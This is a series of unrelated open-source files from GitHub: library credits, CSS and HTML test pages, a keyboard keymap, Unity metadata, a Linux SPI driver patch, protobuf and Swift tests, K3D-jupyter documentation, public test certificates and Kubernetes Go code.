The author of "jsonlab" toolbox is Qianqian Fang. Qianqian is currently an Assistant Professor at Massachusetts General Hospital, Harvard Medical School. Address: Martinos Center for Biomedical Imaging, Massachusetts General Hospital, Harvard Medical School Bldg 149, 13th St, Charlestown, MA 02129, USA URL: http://nmr.mgh.harvard.edu/~fangq/ Email: <fangq at nmr.mgh.harvard.edu> or <fangqq at gmail.com> The script loadjson.m was built upon previous works by - Nedialko Krouchev: http://www.mathworks.com/matlabcentral/fileexchange/25713 date: 2009/11/02 - François Glineur: http://www.mathworks.com/matlabcentral/fileexchange/23393 date: 2009/03/22 - Joel Feenstra: http://www.mathworks.com/matlabcentral/fileexchange/20565 date: 2008/07/03 This toolbox contains patches submitted by the following contributors: - Blake Johnson <bjohnso at bbn.com> part of revision 341 - Niclas Borlin <Niclas.Borlin at cs.umu.se> various fixes in revision 394, including - loadjson crashes for all-zero sparse matrix. - loadjson crashes for empty sparse matrix. - Non-zero size of 0-by-N and N-by-0 empty matrices is lost after savejson/loadjson. - loadjson crashes for sparse real column vector. - loadjson crashes for sparse complex column vector. - Data is corrupted by savejson for sparse real row vector. - savejson crashes for sparse complex row vector. - Yul Kang <yul.kang.on at gmail.com> patches for svn revision 415. - savejson saves an empty cell array as [] instead of null - loadjson differentiates an empty struct from an empty array
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>CSS Reftest Reference</title> <link rel="author" title="Gérard Talbot" href="http://www.gtalbot.org/BrowserBugsSection/css21testsuite/" /> <meta content="image" name="flags" /> <style type="text/css"><![CDATA[ div { margin-left: 8px; } img { vertical-align: top; } img#green-square { position: relative; left: 16px; /* p's margin-left (1em) */ top: 160px; } ]]></style> </head> <body> <div><img src="support/pass-cdts-abs-pos-non-replaced.png" width="246" height="36" alt="Image download support must be enabled" /><img id="green-square" src="support/swatch-green.png" width="80" height="80" alt="Image download support must be enabled" /></div> </body> </html>
{ "pile_set_name": "Github" }
/** * " * Using Zenburn color palette from the Emacs Zenburn Theme * https://github.com/bbatsov/zenburn-emacs/blob/master/zenburn-theme.el * * Also using parts of https://github.com/xavi/coderay-lighttable-theme * " * From: https://github.com/wisenomad/zenburn-lighttable-theme/blob/master/zenburn.css */ .cm-s-zenburn .CodeMirror-gutters { background: #3f3f3f !important; } .cm-s-zenburn .CodeMirror-foldgutter-open, .CodeMirror-foldgutter-folded { color: #999; } .cm-s-zenburn .CodeMirror-cursor { border-left: 1px solid white; } .cm-s-zenburn { background-color: #3f3f3f; color: #dcdccc; } .cm-s-zenburn span.cm-builtin { color: #dcdccc; font-weight: bold; } .cm-s-zenburn span.cm-comment { color: #7f9f7f; } .cm-s-zenburn span.cm-keyword { color: #f0dfaf; font-weight: bold; } .cm-s-zenburn span.cm-atom { color: #bfebbf; } .cm-s-zenburn span.cm-def { color: #dcdccc; } .cm-s-zenburn span.cm-variable { color: #dfaf8f; } .cm-s-zenburn span.cm-variable-2 { color: #dcdccc; } .cm-s-zenburn span.cm-string { color: #cc9393; } .cm-s-zenburn span.cm-string-2 { color: #cc9393; } .cm-s-zenburn span.cm-number { color: #dcdccc; } .cm-s-zenburn span.cm-tag { color: #93e0e3; } .cm-s-zenburn span.cm-property { color: #dfaf8f; } .cm-s-zenburn span.cm-attribute { color: #dfaf8f; } .cm-s-zenburn span.cm-qualifier { color: #7cb8bb; } .cm-s-zenburn span.cm-meta { color: #f0dfaf; } .cm-s-zenburn span.cm-header { color: #f0efd0; } .cm-s-zenburn span.cm-operator { color: #f0efd0; } .cm-s-zenburn span.CodeMirror-matchingbracket { box-sizing: border-box; background: transparent; border-bottom: 1px solid; } .cm-s-zenburn span.CodeMirror-nonmatchingbracket { border-bottom: 1px solid; background: none; } .cm-s-zenburn .CodeMirror-activeline { background: #000000; } .cm-s-zenburn .CodeMirror-activeline-background { background: #000000; } .cm-s-zenburn div.CodeMirror-selected { background: #545454; } .cm-s-zenburn .CodeMirror-focused div.CodeMirror-selected { background: #4f4f4f; }
{ "pile_set_name": "Github" }
/* Copyright 2019 Fate * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include QMK_KEYBOARD_H const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = { [0] = LAYOUT( KC_GESC, KC_1, KC_2, KC_3, KC_4, KC_5, KC_6, KC_7, KC_8, KC_9, KC_0, KC_MINS, KC_EQL, KC_BSLS, KC_GRV, KC_PGUP, KC_TAB, KC_Q, KC_W, KC_E, KC_R, KC_T, KC_Y, KC_U, KC_I, KC_O, KC_P, KC_LBRC, KC_RBRC, KC_BSPC, KC_PGDN, KC_CAPS, KC_A, KC_S, KC_D, KC_F, KC_G, KC_H, KC_J, KC_K, KC_L, KC_SCLN, KC_QUOT, KC_ENT, MO(1), KC_LSFT, KC_Z, KC_X, KC_C, KC_V, KC_B, KC_N, KC_M, KC_COMM, KC_DOT, KC_SLSH, KC_RSFT, KC_UP, KC_LCTL, KC_LALT, KC_SPC, KC_LGUI, KC_SPC, KC_RALT, KC_LEFT, KC_DOWN, KC_RGHT ), [1] = LAYOUT( _______, KC_F1, KC_F2, KC_F3, KC_F4, KC_F5, KC_F6, KC_F7, KC_F8, KC_F9, KC_F10, KC_F11, KC_F12, _______, _______, _______, _______, _______, _______, _______, RESET, _______, _______, _______, _______, _______, _______, _______, _______, KC_DEL, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______ ) };
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 06c0317e0632e6c47bb855ee99f95544 timeCreated: 1504094117 licenseType: Pro MonoImporter: externalObjects: {} serializedVersion: 2 defaultReferences: [] executionOrder: 0 icon: {instanceID: 0} userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
From: Christopher Hill <[email protected]> To: Mark Brown <[email protected]> Cc: Christopher Hill <[email protected]>, [email protected], [email protected] Subject: [PATCH 2/3] spi: rb4xx: update driver to be device tree aware Date: Thu, 21 May 2020 14:36:30 -0400 Message-Id: <[email protected]> X-Mailer: git-send-email 2.25.1 In-Reply-To: <[email protected]> References: <[email protected]> MIME-Version: 1.0 Sender: [email protected] Precedence: bulk List-ID: <linux-spi.vger.kernel.org> X-Mailing-List: [email protected] This patch updates the spi driver spi-rb4xx.c to be device tree aware Signed-off-by: Christopher Hill <[email protected]> --- drivers/spi/spi-rb4xx.c | 9 +++++++++ 1 file changed, 9 insertions(+) --- a/drivers/spi/spi-rb4xx.c +++ b/drivers/spi/spi-rb4xx.c @@ -18,6 +18,7 @@ #include <linux/platform_device.h> #include <linux/clk.h> #include <linux/spi/spi.h> +#include <linux/of.h> #include <asm/mach-ath79/ar71xx_regs.h> @@ -156,6 +157,7 @@ static int rb4xx_spi_probe(struct platfo if (IS_ERR(ahb_clk)) return PTR_ERR(ahb_clk); + master->dev.of_node = pdev->dev.of_node; master->bus_num = 0; master->num_chipselect = 3; master->mode_bits = SPI_TX_DUAL; @@ -194,11 +196,18 @@ static int rb4xx_spi_remove(struct platf return 0; } +static const struct of_device_id rb4xx_spi_dt_match[] = { + { .compatible = "mikrotik,rb4xx-spi" }, + { }, +}; +MODULE_DEVICE_TABLE(of, rb4xx_spi_dt_match); + static struct platform_driver rb4xx_spi_drv = { .probe = rb4xx_spi_probe, .remove = rb4xx_spi_remove, .driver = { .name = "rb4xx-spi", + .of_match_table = of_match_ptr(rb4xx_spi_dt_match), }, };
{ "pile_set_name": "Github" }
// Protocol Buffers - Google's data interchange format // Copyright 2014 Google Inc. All rights reserved. // https://developers.google.com/protocol-buffers/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #import "GPBTestUtilities.h" #import "google/protobuf/Unittest.pbobjc.h" #import "google/protobuf/UnittestObjc.pbobjc.h" static const int kNumThreads = 100; static const int kNumMessages = 100; // NOTE: Most of these tests don't "fail" in the sense that the XCTAsserts // trip. Rather, the asserts simply exercise the apis, and if there is // a concurancy issue, the NSAsserts in the runtime code fire and/or the // code just crashes outright. @interface ConcurrencyTests : GPBTestCase @end @implementation ConcurrencyTests - (NSArray *)createThreadsWithSelector:(SEL)selector object:(id)object { NSMutableArray *array = [NSMutableArray array]; for (NSUInteger i = 0; i < kNumThreads; i++) { NSThread *thread = [[NSThread alloc] initWithTarget:self selector:selector object:object]; [array addObject:thread]; [thread release]; } return array; } - (NSArray *)createMessagesWithType:(Class)msgType { NSMutableArray *array = [NSMutableArray array]; for (NSUInteger i = 0; i < kNumMessages; i++) { [array addObject:[msgType message]]; } return array; } - (void)startThreads:(NSArray *)threads { for (NSThread *thread in threads) { [thread start]; } } - (void)joinThreads:(NSArray *)threads { for (NSThread *thread in threads) { while (![thread isFinished]) ; } } - (void)readForeignMessage:(NSArray *)messages { for (NSUInteger i = 0; i < 10; i++) { for (TestAllTypes *message in messages) { XCTAssertEqual(message.optionalForeignMessage.c, 0); } } } - (void)testConcurrentReadOfUnsetMessageField { NSArray *messages = [self createMessagesWithType:[TestAllTypes class]]; NSArray *threads = [self createThreadsWithSelector:@selector(readForeignMessage:) object:messages]; [self startThreads:threads]; [self joinThreads:threads]; for (TestAllTypes *message in messages) { XCTAssertFalse(message.hasOptionalForeignMessage); } } - (void)readRepeatedInt32:(NSArray *)messages { for (int i = 0; i < 10; i++) { for (TestAllTypes *message in messages) { XCTAssertEqual([message.repeatedInt32Array count], (NSUInteger)0); } } } - (void)testConcurrentReadOfUnsetRepeatedIntField { NSArray *messages = [self createMessagesWithType:[TestAllTypes class]]; NSArray *threads = [self createThreadsWithSelector:@selector(readRepeatedInt32:) object:messages]; [self startThreads:threads]; [self joinThreads:threads]; for (TestAllTypes *message in messages) { XCTAssertEqual([message.repeatedInt32Array count], (NSUInteger)0); } } - (void)readRepeatedString:(NSArray *)messages { for (int i = 0; i < 10; i++) { for (TestAllTypes *message in messages) { XCTAssertEqual([message.repeatedStringArray count], (NSUInteger)0); } } } - (void)testConcurrentReadOfUnsetRepeatedStringField { NSArray *messages = [self createMessagesWithType:[TestAllTypes class]]; NSArray *threads = [self createThreadsWithSelector:@selector(readRepeatedString:) object:messages]; [self startThreads:threads]; [self joinThreads:threads]; for (TestAllTypes *message in messages) { XCTAssertEqual([message.repeatedStringArray count], (NSUInteger)0); } } - (void)readInt32Int32Map:(NSArray *)messages { for (int i = 0; i < 10; i++) { for (TestRecursiveMessageWithRepeatedField *message in messages) { XCTAssertEqual([message.iToI count], (NSUInteger)0); } } } - (void)testConcurrentReadOfUnsetInt32Int32MapField { NSArray *messages = [self createMessagesWithType:[TestRecursiveMessageWithRepeatedField class]]; NSArray *threads = [self createThreadsWithSelector:@selector(readInt32Int32Map:) object:messages]; [self startThreads:threads]; [self joinThreads:threads]; for (TestRecursiveMessageWithRepeatedField *message in messages) { XCTAssertEqual([message.iToI count], (NSUInteger)0); } } - (void)readStringStringMap:(NSArray *)messages { for (int i = 0; i < 10; i++) { for (TestRecursiveMessageWithRepeatedField *message in messages) { XCTAssertEqual([message.strToStr count], (NSUInteger)0); } } } - (void)testConcurrentReadOfUnsetStringStringMapField { NSArray *messages = [self createMessagesWithType:[TestRecursiveMessageWithRepeatedField class]]; NSArray *threads = [self createThreadsWithSelector:@selector(readStringStringMap:) object:messages]; [self startThreads:threads]; [self joinThreads:threads]; for (TestRecursiveMessageWithRepeatedField *message in messages) { XCTAssertEqual([message.strToStr count], (NSUInteger)0); } } - (void)readOptionalForeignMessageExtension:(NSArray *)messages { for (int i = 0; i < 10; i++) { for (TestAllExtensions *message in messages) { ForeignMessage *foreign = [message getExtension:[UnittestRoot optionalForeignMessageExtension]]; XCTAssertEqual(foreign.c, 0); } } } - (void)testConcurrentReadOfUnsetExtensionField { NSArray *messages = [self createMessagesWithType:[TestAllExtensions class]]; SEL sel = @selector(readOptionalForeignMessageExtension:); NSArray *threads = [self createThreadsWithSelector:sel object:messages]; [self startThreads:threads]; [self joinThreads:threads]; GPBExtensionDescriptor *extension = [UnittestRoot optionalForeignMessageExtension]; for (TestAllExtensions *message in messages) { XCTAssertFalse([message hasExtension:extension]); } } @end
{ "pile_set_name": "Github" }
Features ======== K3D-jupyter is a widget which primarily aims to be an easy and efficient 3D visualization tool. It focuses on straightforward user experience, providing API similar to well known Matplotlib. On the other hand it uses the maximum of accelerated 3D graphics in the browser. Those features make it a lightweight and efficient tool for diversity of applications. Some examples of the use cases and features of K3D-jupyter: - Photorealistic volume rendering for data on regular grids. Prominent example is Computer Tomography data, which can be visualized in real time with resolution of dataset :math:`512^3`. Moreover K3D-jupyter experimentally supports time-series, which makes it possible to display 4D (3D + time) tomography in the browser. - 3D point plot - high performance renderer can display millions of points in a web browser, which is suitable for e.g. point cloud data coming from 3D scanners or for real time visualization of tracers particles in fluid dynamics. - Meshes with scalar attributes can be displayed, dynamically updated and animated. - Voxel geometry is supported on both dense and sparse datasets. It is used for example in segmentation of CT data. Interactivity with Ipywidgets ============================= K3D-jupyter is an :code:`ipywidget`, therefore it natively contains frontend and backend. Backend is a Python process where the data is prepared. Frontend is a JavaScript application with WebGL (via Three.js and custom pixelshaders) access. The :code:`ipywidget` architecture allows for communication of these two parts. K3D-jupyter exposes this communication and allows for easy dataset updates on existing plot. For example, if :code:`plt_points` is an :code:`k3d.points` object, then a simple assignment on the backend (Python): .. code:: plt_points.positions = np.array([[1,2,3],[3,2,1]], dtype=np.float32) will trigger data transfer of the positions to the front-end and the plot will be updated. One of the most attractive aspects of this architecture is the fact that the backend process can run on arbitrary remote infrastructure, e.g. in the HPC center, where large scale simulations are performed or large datasets are available. Then is it possible to use the Jupyter notebook as a kind of “remote display” for visualizing that data. As the frontend is on user's computer, the interactivity of 3D inspection is very good. One can achieve fast updates on the whole dataset or any of its parts. Numpy first =========== Similarly as in the case of matplotlib, the native data type is a :code:`numpy` array. It greatly simplifies K3D usage as well as the frontend code since we implement only simple sets of objects. On the other hand, the availability of the backend does not prohibit from using much more sophisticated visualization pipelines. An example could be an unstructured volumetric grid with some scalar field. K3D does not support this kind of data, but it can be preprocessed using VTK to - for example - mesh with color coded values. Such a mesh can be an isosurface or section of the original volumetric data. Moreover, if such preprocessing produced a mesh with small or moderate number of triangles (e.g. :math:`<10^5`), then it could be interactively explored by linking to other widgets. Interactive snapshots ===================== Plots can be saved as both PNG screenshots and interactive HTML snapshots, which contain the front-end JavaScript 3D application bundles with the data. They can be used independently on the Python back-end, send by email or embedded in webpages as an :code:`iframe`: .. raw:: html <iframe src="_static/points.html" frameborder="0" height="300px" width="300px"></iframe> Snapshots can be generated from Menu or programatically: .. code:: plot.fetch_snapshot() In the latter case one has to write HTML code to a file: .. code:: with open('../_static/points.html','w') as fp: fp.write(plot.snapshot)
{ "pile_set_name": "Github" }
/** Copyright (c) 2016-present, Facebook, Inc. All rights reserved. The examples provided by Facebook are for non-commercial testing and evaluation purposes only. Facebook reserves all rights not expressly granted. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL FACEBOOK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ import XCTest final class SearchViewControllerUITests: UITestCase { var collectionViews: XCUIElementQuery! override func setUp() { super.setUp() collectionViews = XCUIApplication().collectionViews collectionViews.cells.staticTexts["Search Autocomplete"].tap() } func test_whenLoading_thatSomeResultsAreShown() { let tacos = collectionViews.cells.staticTexts["tacos"] let small = collectionViews.cells.staticTexts["small"] XCTAssertTrue(tacos.exists) XCTAssertTrue(small.exists) } func test_whenSearchingForText_thatResultsGetFiltered() { let searchField = collectionViews.searchFields.element searchField.tap() searchField.typeText("tac") let tacos = collectionViews.cells.staticTexts["tacos"] let small = collectionViews.cells.staticTexts["small"] XCTAssertTrue(tacos.exists) XCTAssertFalse(small.exists) } func test_whenClearingText_thatResultsFilterIsRemoved() { let searchField = collectionViews.searchFields.element searchField.tap() searchField.typeText("tac") searchField.buttons.element.tap() let tacos = collectionViews.cells.staticTexts["tacos"] let small = collectionViews.cells.staticTexts["small"] XCTAssertTrue(tacos.exists) XCTAssertTrue(small.exists) } }
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIIBVzCCAQmgAwIBAgIBezAFBgMrZXAwHDEaMBgGA1UEAwwRcG9ueXRvd24gRWRE U0EgQ0EwHhcNMTkwODE2MTMyODUxWhcNMjkwODEzMTMyODUxWjAuMSwwKgYDVQQD DCNwb255dG93biBFZERTQSBsZXZlbCAyIGludGVybWVkaWF0ZTAqMAUGAytlcAMh AD4h3t0UCoMDGgIq4UW4P5zDngsY4vy1pE3wzLPFI4Vdo14wXDAdBgNVHQ4EFgQU FxIwU406tG3CsPWkHWqfuUT48aswIAYDVR0lAQH/BBYwFAYIKwYBBQUHAwEGCCsG AQUFBwMCMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgH+MAUGAytlcANBAAZFvMek Z71I8CXsBmx/0E6Weoaan9mJHgKqgQdK4w4h4dRg6DjNG957IbrLFO3vZduBMnna qHP3xTFF+11Eyg8= -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIBTDCB/6ADAgECAhRXcvbYynz4+usVvPtJp++sBUih3TAFBgMrZXAwHDEaMBgG A1UEAwwRcG9ueXRvd24gRWREU0EgQ0EwHhcNMTkwODE2MTMyODUwWhcNMjkwODEz MTMyODUwWjAcMRowGAYDVQQDDBFwb255dG93biBFZERTQSBDQTAqMAUGAytlcAMh AIE4tLweIfcBGfhPqyXFp5pjVxjaiKk+9fTbRy46jAFKo1MwUTAdBgNVHQ4EFgQU z5b9HjkOxffbtCZhWGg+bnxuD6wwHwYDVR0jBBgwFoAUz5b9HjkOxffbtCZhWGg+ bnxuD6wwDwYDVR0TAQH/BAUwAwEB/zAFBgMrZXADQQBNlt7z4bZ7KhzecxZEe3i5 lH9MRqbpP9Rg4HyzAJfTzFGT183HoJiISdPLbxwMn0KaqSGlVe+9GgNKswoaRAwH -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 2326c3292d263af4487150692eeeeae0 TextureImporter: serializedVersion: 2 mipmaps: mipMapMode: 0 enableMipMap: 0 linearTexture: 0 correctGamma: 0 fadeOut: 0 borderMipMap: 0 mipMapFadeDistanceStart: 1 mipMapFadeDistanceEnd: 3 bumpmap: convertToNormalMap: 0 externalNormalMap: 0 heightScale: .25 normalMapFilter: 0 isReadable: 1 grayScaleToAlpha: 0 generateCubemap: 0 seamlessCubemap: 0 textureFormat: -3 maxTextureSize: 4096 textureSettings: filterMode: -1 aniso: -1 mipBias: -1 wrapMode: -1 nPOTScale: 0 lightmap: 0 compressionQuality: 50 spriteMode: 0 spriteExtrude: 1 spriteMeshType: 1 alignment: 0 spritePivot: {x: .5, y: .5} spritePixelsToUnits: 100 alphaIsTransparency: 1 textureType: 5 buildTargetSettings: [] spriteSheet: sprites: [] spritePackingTag: userData:
{ "pile_set_name": "Github" }
/* Copyright 2016 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package discovery import ( "reflect" "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/runtime/schema" ) // UnstructuredObjectTyper provides a runtime.ObjectTyper implementation for // runtime.Unstructured object based on discovery information. type UnstructuredObjectTyper struct { registered map[schema.GroupVersionKind]bool typers []runtime.ObjectTyper } // NewUnstructuredObjectTyper returns a runtime.ObjectTyper for // unstructured objects based on discovery information. It accepts a list of fallback typers // for handling objects that are not runtime.Unstructured. It does not delegate the Recognizes // check, only ObjectKinds. func NewUnstructuredObjectTyper(groupResources []*APIGroupResources, typers ...runtime.ObjectTyper) *UnstructuredObjectTyper { dot := &UnstructuredObjectTyper{ registered: make(map[schema.GroupVersionKind]bool), typers: typers, } for _, group := range groupResources { for _, discoveryVersion := range group.Group.Versions { resources, ok := group.VersionedResources[discoveryVersion.Version] if !ok { continue } gv := schema.GroupVersion{Group: group.Group.Name, Version: discoveryVersion.Version} for _, resource := range resources { dot.registered[gv.WithKind(resource.Kind)] = true } } } return dot } // ObjectKinds returns a slice of one element with the group,version,kind of the // provided object, or an error if the object is not runtime.Unstructured or // has no group,version,kind information. unversionedType will always be false // because runtime.Unstructured object should always have group,version,kind // information set. func (d *UnstructuredObjectTyper) ObjectKinds(obj runtime.Object) (gvks []schema.GroupVersionKind, unversionedType bool, err error) { if _, ok := obj.(runtime.Unstructured); ok { gvk := obj.GetObjectKind().GroupVersionKind() if len(gvk.Kind) == 0 { return nil, false, runtime.NewMissingKindErr("object has no kind field ") } if len(gvk.Version) == 0 { return nil, false, runtime.NewMissingVersionErr("object has no apiVersion field") } return []schema.GroupVersionKind{gvk}, false, nil } var lastErr error for _, typer := range d.typers { gvks, unversioned, err := typer.ObjectKinds(obj) if err != nil { lastErr = err continue } return gvks, unversioned, nil } if lastErr == nil { lastErr = runtime.NewNotRegisteredErrForType(reflect.TypeOf(obj)) } return nil, false, lastErr } // Recognizes returns true if the provided group,version,kind was in the // discovery information. func (d *UnstructuredObjectTyper) Recognizes(gvk schema.GroupVersionKind) bool { return d.registered[gvk] } var _ runtime.ObjectTyper = &UnstructuredObjectTyper{}
{ "pile_set_name": "Github" }